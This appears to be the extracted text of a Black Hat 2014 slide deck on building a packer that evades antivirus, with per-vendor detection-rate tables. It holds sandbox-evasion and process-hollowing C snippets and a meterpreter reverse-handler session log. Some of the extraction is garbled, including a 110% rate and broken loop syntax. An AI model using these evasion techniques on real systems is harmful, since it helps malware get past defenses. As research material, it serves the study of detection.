One packer to rule them all
Empirical identification, comparison and circumvention of current Antivirus detection techniques

Alaeddine Mesbahi  Arne Swinnen
Agenda

• Packing 101

• Static detection

• Code emulation detection

• Dynamic detection
Who art thou

Arne Swinnen
Security Consultant based in Belgium
@arneswinnen
http://www.arneswinnen.net

Alaeddine Mesbah
Security Consultant based in France
@3asm_
http://yap0wnb.blogspot.fr
Original executable: aad3b435b51404ee
Packed executable (output): 31d6cfe0d16ae931b73c59d7e0c089c0
```c
#include <Windows.h>

WINAPI WinMain(_in_ HINSTANCE hInstance, _in_ HINSTANCE hPrevInstance, _in_ LPSTR lpCmdLine, _in_ int nCmdShow)
{
    MessageBox(0, "Hello", "World", 0);
}
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Virtual Size</th>
<th>Virtual Address</th>
<th>Raw Size</th>
<th>Raw Address</th>
<th>Characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>60000020</td>
</tr>
<tr>
<td>.rdata</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>40000040</td>
</tr>
<tr>
<td>.data</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>42000040</td>
</tr>
<tr>
<td>.rsrc</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td></td>
</tr>
<tr>
<td>.reloc</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td>Dword</td>
<td></td>
</tr>
</tbody>
</table>

Entry Point

Can’t be moved

Can be moved
Challenge 1: Extensible stub

- Architecture-specific code
- Position-independent code
- Self-dependency resolution
Solution

Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process.

Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.

https://github.com/stephenfewer/ReflectiveDLLInjection
Challenge 2: Stub injection

- Hijack is easy: AddressOfEntryPoint
- But where to inject the stub stealthy?
<table>
<thead>
<tr>
<th>Fastpack</th>
<th>FSG</th>
<th>MEW</th>
<th>MPRESS</th>
<th>PECompact</th>
<th>UPACK</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Virtual Size</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Byte[8]</td>
<td>Dword</td>
<td>00000168</td>
<td>00000168</td>
<td>00000168</td>
<td>00000168</td>
</tr>
<tr>
<td>CODE</td>
<td>Dword</td>
<td>00001000</td>
<td>00001000</td>
<td>00001000</td>
<td>00001000</td>
</tr>
<tr>
<td>DATA</td>
<td>0000000000</td>
<td></td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
<tr>
<td>.rsrc</td>
<td>0000000010</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Molebox</th>
<th>PELOCK</th>
<th>PESpin</th>
<th>Software</th>
<th>Thermida</th>
<th>VMProtect</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Virtual Size</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Byte[8]</td>
<td>Dword</td>
<td>000004820</td>
<td>000004820</td>
<td>000004820</td>
<td>000004820</td>
</tr>
<tr>
<td>.text</td>
<td>Dword</td>
<td>0000000000</td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
<tr>
<td>.data</td>
<td>Dword</td>
<td>0000000000</td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
<tr>
<td>.idata</td>
<td>Dword</td>
<td>0000000000</td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
<tr>
<td>.rdata</td>
<td>Dword</td>
<td>0000000000</td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
<tr>
<td>.rsrc</td>
<td>Dword</td>
<td>0000000000</td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
<tr>
<td>.bsb</td>
<td>Dword</td>
<td>0000000000</td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
<tr>
<td>.rsrc</td>
<td>Dword</td>
<td>0000000000</td>
<td></td>
<td>0000000000</td>
<td></td>
</tr>
</tbody>
</table>

Passport
Inline packer
Inline packer

Inline packer method detection

<table>
<thead>
<tr>
<th>Software</th>
<th>32-bit (%)</th>
<th>64-bit (%)</th>
</tr>
</thead>
<tbody>
<tr>
<td>QiHoo</td>
<td>110%</td>
<td>0%</td>
</tr>
<tr>
<td>Norton</td>
<td>100%</td>
<td>0%</td>
</tr>
<tr>
<td>BitDefender</td>
<td>98%</td>
<td>0%</td>
</tr>
<tr>
<td>Avast!</td>
<td>95%</td>
<td>75%</td>
</tr>
<tr>
<td>Trend Micro</td>
<td>79%</td>
<td>0%</td>
</tr>
<tr>
<td>Sophos</td>
<td>60%</td>
<td>0%</td>
</tr>
<tr>
<td>Mcafee</td>
<td>58%</td>
<td>0%</td>
</tr>
<tr>
<td>Microsoft</td>
<td>55%</td>
<td>0%</td>
</tr>
<tr>
<td>AVG</td>
<td>55%</td>
<td>0%</td>
</tr>
<tr>
<td>NOD32</td>
<td>51%</td>
<td>0%</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>49%</td>
<td>25%</td>
</tr>
<tr>
<td>F-Secure</td>
<td>0%</td>
<td>0%</td>
</tr>
</tbody>
</table>
New PE packer
Resource packer
<table>
<thead>
<tr>
<th>Resource packer method detection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Norton</td>
</tr>
<tr>
<td>0%</td>
</tr>
</tbody>
</table>

Black Hat USA 2014
Code emulation detection

![Working stub detection rate chart](chart.png)
emulated memory
- **Time** delaying & Anomaly Detection
- **Network** Interaction
- **Filesystem** Interaction
- **Dynamic Binary Instrumentation**
BOOL time1()
{

    // simply sleeps for a long time to delay payload decryption
    Sleep(100000);

    return FALSE;
}

BOOL time2() {
    DWORD tc1, tc2;
    tc1 = GetTickCount();
    Sleep(1000);
    tc2 = GetTickCount();
    tc2 = tc2 - tc1;
    //DebugBreak();
    if (tc2 >= 1000) {
        return FALSE;
    }
    return TRUE;
}
thread_1_counter

thread_2_watcher
If $\text{Cnt}==10$

Sleep(100)
Cnt = 0
Sleep(1)

If Cnt == 10
Sleep(1)
// Setup our socket address structure
SockAddr.sin_port=htons(445);
SockAddr.sin_family=AF_INET;
SockAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

// Attempt to connect to server
if(connect(Socket,(SOCKADDR*)(&SockAddr),sizeof(SockAddr))!=0)
{
    WSACleanup();
    return TRUE;
}

Credits: @FunOverIP
for(int i=0; <(sizeof(realDLL)/sizeof(*realDLL)); i++) {
    //printf("%s\n", realDLL[i]);
    hInstLib = LoadLibraryA(realDLL[i]);
    if(hInstLib == NULL) return TRUE;
    FreeLibrary(hInstLib);
}

for(int i=0; <(sizeof(falseDLL)/sizeof(*falseDLL)); i++) {
    //printf("%s\n", falseDLL[i]);
    hInstLib = LoadLibraryA(falseDLL[i]);
    if(hInstLib != NULL)
        return TRUE;
}
...GetNameByPid(procentry.th32ParentProcessID, ProcName, sizeof(ProcName));
if(strcmp("explorer.exe", ProcName) && strcmp("cmd.exe", ProcName))
    return TRUE;
else
    return FALSE;
...

Credits: Francisco Falcón and Nahuel Riva
<table>
<thead>
<tr>
<th></th>
<th>File1</th>
<th>File2</th>
<th>File3</th>
<th>File4</th>
<th>Netw1</th>
<th>Instr9</th>
<th>Time1</th>
<th>Time2</th>
<th>Time3</th>
<th>Time4</th>
<th>Time5</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>32-bit</strong></td>
<td>yes</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>64-bit</strong></td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>32-bit</strong></td>
<td>yes</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>64-bit</strong></td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>32-bit</strong></td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>64-bit</strong></td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>32-bit</strong></td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>64-bit</strong></td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
</tbody>
</table>
msi exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8443
[*] Starting the payload handler...
[*] 192.168.56.101:1392 Request received for /n2Si...
[*] 192.168.56.101:1392 Staging connection for target /n2Si received...
[*] Patched user-agent at offset 663128...
[*] Patched transport at offset 662792...
[*] Patched URL at offset 662056...
[*] Patched Expiration Timeout at offset 663728...
[*] Patched Communication Timeout at offset 663732...

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.core.migrate(client.sys.process['explorer.exe'])
=> true
>>

Detected AVG

AVG choisir la méthode la plus appropriée pour supprimer cette menace.
DWORD dwResult = NtUnmapViewOfSection(
    pProcessInfo->hProcess,
    pPEB->ImageBaseAddress);
...

PVOID pRemoteImage = VirtualAllocEx(
    pProcessInfo->hProcess,
    pPEB->ImageBaseAddress,
    pSourceHeaders->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
...

WriteProcessMemory(
    pProcessInfo->hProcess,
    pPEB->ImageBaseAddress,
    pBuffer,
    pSourceHeaders->OptionalHeader.SizeOfHeaders,
    0);
RegOpenKeyExW(hKey, lpSubKey, ulOptions, samDesired, phkResult);

char lcCommand[256];
if(*((rrs->hRegKeyRes) == hKey)){
  if(rrs->hRegKey == HKEY_CLASSES_ROOT)
    sprintf_s(clClass, "%s", "HKCR");
  ..[SNIP]..
  if(dwType == REG_NONE)
  {
    sprintf_s(clType, "%s", "REG_NONE");
  }
  ..[SNIP]..
  sprintf_s(lcCommand, "reg add %s\\%ws /v "\\%ws" /t %s /d "\\%ws" /f", clClass, rrs->lpKeyName, lpValueName, clType, lpData);
  system(lcCommand);
DWORD dwResult = NtUnmapViewOfSection(
    pProcessInfo->hProcess,
    pPEB->ImageBaseAddress);

...
- Evolution of detection methods

- **Code Emulation** is good effort but fairly easy to bypass

- **Heuristic** is powerful and could be difficult to bypass in a generic fashion
QUESTIONS?